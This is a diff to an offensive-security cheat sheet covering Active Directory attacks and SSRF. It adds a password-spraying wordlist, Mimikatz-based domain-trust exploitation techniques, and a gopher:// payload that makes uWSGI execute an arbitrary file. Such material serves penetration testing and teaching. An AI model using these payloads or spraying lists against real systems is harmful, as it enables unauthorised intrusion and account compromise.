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SSRF exploiting WSGI
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@ -540,10 +540,10 @@ Password spraying refers to the attack method that takes a large number of usern
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Most of the time the best passwords to spray are :
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- Password123
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- Welcome1
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- Password123, mimikatz
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- Welcome1/Welcome01
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- $Companyname1 : $Microsoft1
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- SeasonYear : Winter2019*
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- SeasonYear : Winter2019*,Spring2020!,Summer2018?
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- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
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#### Kerberos pre-auth bruteforcing
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@ -1033,6 +1033,17 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
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### Trust relationship between domains
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* One-way
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* Domain B trusts A
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* Users in Domain A can access resources in Domain B
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* Users in Domain B cannot access resources in Domain A
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* Two-way
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* Domain A trusts Domain B
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* Domain B trusts Domain A
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* Authentication requests can be passed between the two domains in both directions
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#### Enumerate trusts between domains
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```powershell
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nltest /trusted_domains
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```
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@ -1047,6 +1058,19 @@ SourceName TargetName TrustType TrustDirection
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domainA.local domainB.local TreeRoot Bidirectional
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```
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#### Exploit trusts between domains
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:warning: Require a Domain-Admin level access to the current domain.
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| Source | Target | Technique to use | Trust relationship |
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|---|---|---|---|
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| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) |
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| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) |
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| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) |
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| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) |
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### Child Domain to Forest Compromise - SID Hijacking
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Most trees are linked with dual sided trust relationships to allow for sharing of resources.
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@ -1498,4 +1522,5 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c5
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* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/)
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* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)
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* [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
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* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
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* [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179)
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* [Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf](https://www.dropbox.com/s/ilzjtlo0vbyu1u0/Carlos%20Garcia%20-%20Rooted2019%20-%20Pentesting%20Active%20Directory%20Forests%20public.pdf?dl=0)
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@ -29,6 +29,7 @@
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* [ldap://](#ldap)
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* [gopher://](#gopher)
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* [netdoc://](#netdoc)
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* [SSRF exploiting WSGI](#ssrf-exploiting-wsgi)
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* [SSRF to XSS](#ssrf-to-xss)
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* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
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* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
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@ -355,6 +356,28 @@ Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
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ssrf.php?url=gopher://127.0.0.1:4242/DATA
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```
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## SSRF exploiting WSGI
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Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.
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```powershell
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gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
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```
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| Header | | |
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|-----------|-----------|-------------|
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| modifier1 | (1 byte) | 0 (%00) |
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| datasize | (2 bytes) | 26 (%1A%00) |
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| modifier2 | (1 byte) | 0 (%00) |
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| Variable (UWSGI_FILE) | | | | |
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|-----------------------|-----------|----|------------|---|
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| key length | (2 bytes) | 10 | (%0A%00) | |
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| key data | (m bytes) | | UWSGI_FILE | |
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| value length | (2 bytes) | 12 | (%0C%00) | |
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| value data | (n bytes) | | /tmp/test.py | |
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## SSRF to XSS
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by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
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